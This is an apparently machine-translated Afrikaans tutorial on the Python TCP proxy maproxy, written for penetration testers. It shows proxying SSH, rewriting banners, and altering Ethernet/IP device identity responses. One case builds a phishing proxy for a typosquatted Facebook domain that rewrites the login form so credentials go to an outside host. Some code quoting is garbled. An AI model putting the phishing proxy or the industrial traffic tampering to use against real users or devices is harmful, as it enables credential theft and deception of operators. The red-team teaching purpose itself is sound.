Verwerking netwerkdata op die vlieg

Die vertaling van die artikel is voorberei op die vooraand van die aanvang van die kursus “Pentest. Penetrasie toets praktyk".

Verwerking netwerkdata op die vlieg

abstrakte

'n Verskeidenheid tipes sekuriteitsbeoordelings, wat wissel van gereelde penetrasietoetsing en Red Team-bedrywighede tot inbraak IoT/ICS-toestelle en SCADA, behels die werk met binêre netwerkprotokolle, dit wil sê, in wese die onderskep en wysiging van netwerkdata tussen die kliënt en die teiken. Om netwerkverkeer te snuif is nie 'n moeilike taak nie, aangesien ons gereedskap soos Wireshark, Tcpdump of Scapy het, maar verandering blyk 'n meer arbeidsintensiewe taak te wees aangesien ons 'n soort koppelvlak sal moet hê om die netwerkdata te lees, te filter, te verander dit op die vlieg en stuur dit terug na die teiken gasheer in byna real-time. Daarbenewens sal dit ideaal wees as so 'n instrument outomaties met veelvuldige parallelle verbindings kan werk en aanpasbaar kan wees met behulp van skrifte.

Op 'n dag ontdek ek 'n instrument genaamd maproxy, het die dokumentasie dit vinnig vir my duidelik gemaak maproxy – net wat ek nodig het. Dit is 'n redelik eenvoudige, veelsydige en maklik konfigureerbare TCP-instaanbediener. Ek het hierdie instrument op verskeie redelik komplekse toepassings getoets, insluitend ICS-toestelle (wat baie pakkies genereer) om te sien of dit baie parallelle verbindings kan hanteer, en die instrument het goed gevaar.

Hierdie artikel sal jou bekendstel aan die verwerking van netwerkdata op die vlieg met behulp van maproxy.

Hersien

Tool maproxy is gebaseer op Tornado, 'n gewilde en volwasse asinchroniese netwerkraamwerk in Python.

Oor die algemeen kan dit in verskeie modusse werk:

  • TCP:TCP - ongeënkripteerde TCP-verbindings;
  • TCP:SSL и SSL:TCP - met eenrigting-enkripsie;
  • SSL:SSL – tweerigting-enkripsie.

Dit kom as 'n biblioteek. Vir 'n vinnige begin kan jy voorbeeldlêers gebruik wat die hoof weerspieël biblioteekfunksies:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Geval 1 – eenvoudige bidirectionele volmag

Gebaseer op tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

By verstek ProxyServer() neem twee argumente – die verbindingsligging en die teikenpoort. server.listen() neem een ​​argument - die poort om na die inkomende verbinding te luister.

Voer die skrif uit:

# python tcp2tcp.py

Om die toets uit te voer, gaan ons aan 'n plaaslike SSH-bediener koppel deur ons proxy-skrip, wat luister 2222/tcp poort en koppel aan 'n standaardpoort 22/tcp SSH-bedieners:

Verwerking netwerkdata op die vlieg

Die verwelkomingsbanier lig jou in dat ons voorbeeldskrif die netwerkverkeer suksesvol gevolmagtig het.

Geval 2 – datamodifikasie

Nog 'n demo script logging_proxy.py ideaal vir interaksie met netwerkdata. Die opmerkings in die lêer beskryf die klasmetodes wat jy kan verander om jou doel te bereik:

Verwerking netwerkdata op die vlieg

Die interessantste ding is hier:

  • on_c2p_done_read – om data langs die pad van die kliënt na die bediener te onderskep;
  • on_p2s_done_read - omgekeer.

Kom ons probeer om die SSH-banier te verander wat die bediener na die kliënt terugstuur:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Voer die skrif uit:

Verwerking netwerkdata op die vlieg

Soos u kan sien, is die kliënt mislei omdat die SSH-bedienernaam vir hom verander is na «DumnySSH».

Verwerking netwerkdata op die vlieg

Geval 3 – eenvoudige phishing-webblad

Daar is eindelose maniere om hierdie instrument te gebruik. Kom ons fokus hierdie keer op iets meer prakties van die Rooispan se operasieskant. Kom ons boots die bestemmingsblad na m.facebook.com en gebruik 'n pasgemaakte domein met 'n doelbewuste tikfout, byvoorbeeld, m.facebok.com. Kom ons neem vir demonstrasiedoeleindes net aan dat die domein deur ons geregistreer is.

Ons gaan 'n ongeënkripteerde netwerkverbinding tot stand bring met ons slagoffers se instaanbediener en SSL-stroom na die Facebook-bediener (31.13.81.36). Om hierdie voorbeeld te laat werk, moet ons die HTTP-gasheeropskrif vervang en die korrekte gasheernaam inspuit, en ons sal ook reaksiekompressie deaktiveer sodat ons maklik toegang tot die inhoud kan kry. Uiteindelik sal ons die HTML-vorm vervang sodat die aanmeldbewyse aan ons gestuur word in plaas van Facebook se bedieners:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/af/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Ter opsomming:

Verwerking netwerkdata op die vlieg

Soos u kan sien, kon ons die oorspronklike webwerf suksesvol vervang.

Geval 4 – Oordra Ethernet/IP

Ek het al 'n geruime tyd met industriële toestelle en sagteware (ICS/SCADA) te doen, soos programmeerbare beheerders (PLC), I/O-modules, aandrywers, relais, leerprogrammeeromgewings en vele meer. Hierdie geval is vir diegene wat van industriële dinge hou. Om sulke oplossings te hack behels aktief speel met netwerkprotokolle. In die volgende voorbeeld wil ek graag wys hoe jy ICS/SCADA-netwerkverkeer kan verander.

Hiervoor sal jy die volgende nodig hê:

  • Netwerksnuffel, byvoorbeeld, Wireshark;
  • Ethernet/IP of net 'n SIP-toestel, jy kan dit vind met die Shodan-diens;
  • Ons draaiboek is gebaseer op maproxy.

Kom ons kyk eers hoe 'n tipiese identifikasie-reaksie van CIP (Common Industrial Protocol) lyk:

Verwerking netwerkdata op die vlieg

Toestelidentifikasie word bewerkstellig met behulp van die Ethernet/IP-protokol, wat 'n verbeterde weergawe van die industriële Ethernet-protokol is wat beheerprotokolle soos CIP omvou. Ons gaan die gemerkte ID-naam wat in die skermkiekie sigbaar is, verander "NI-IndComm vir Ethernet" met behulp van ons proxy script. Ons kan die skrif hergebruik logging_proxy.py en verander op soortgelyke wyse die klasmetode on_p2s_done_read, want ons wil hê dat 'n ander identiteitsnaam op die kliënt sigbaar moet wees.

Kode:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

In wese het ons twee keer vir toestelidentifikasie gevra, die tweede antwoord was die oorspronklike een, en die eerste een is dadelik gewysig.

En die laaste

Na my mening maproxy 'n Gerieflike en eenvoudige hulpmiddel, wat ook in Python geskryf is, so ek glo dat jy ook kan baat by die gebruik daarvan. Natuurlik is daar meer komplekse gereedskap vir die verwerking en wysiging van netwerkdata, maar dit verg ook meer aandag en word gewoonlik vir 'n spesifieke gebruiksgeval geskep, bv. Muraena, Modlishka of evilginx vir gevalle soortgelyk aan die derde, of bank vir die laaste geval. Op een of ander manier, met die hulp maproxy jy kan vinnig jou idees implementeer om netwerkdata te onderskep, aangesien die voorbeeldskrifte baie duidelik is.

Toets stawingmeganismes in Windows AD

Bron: will.com

Voeg 'n opmerking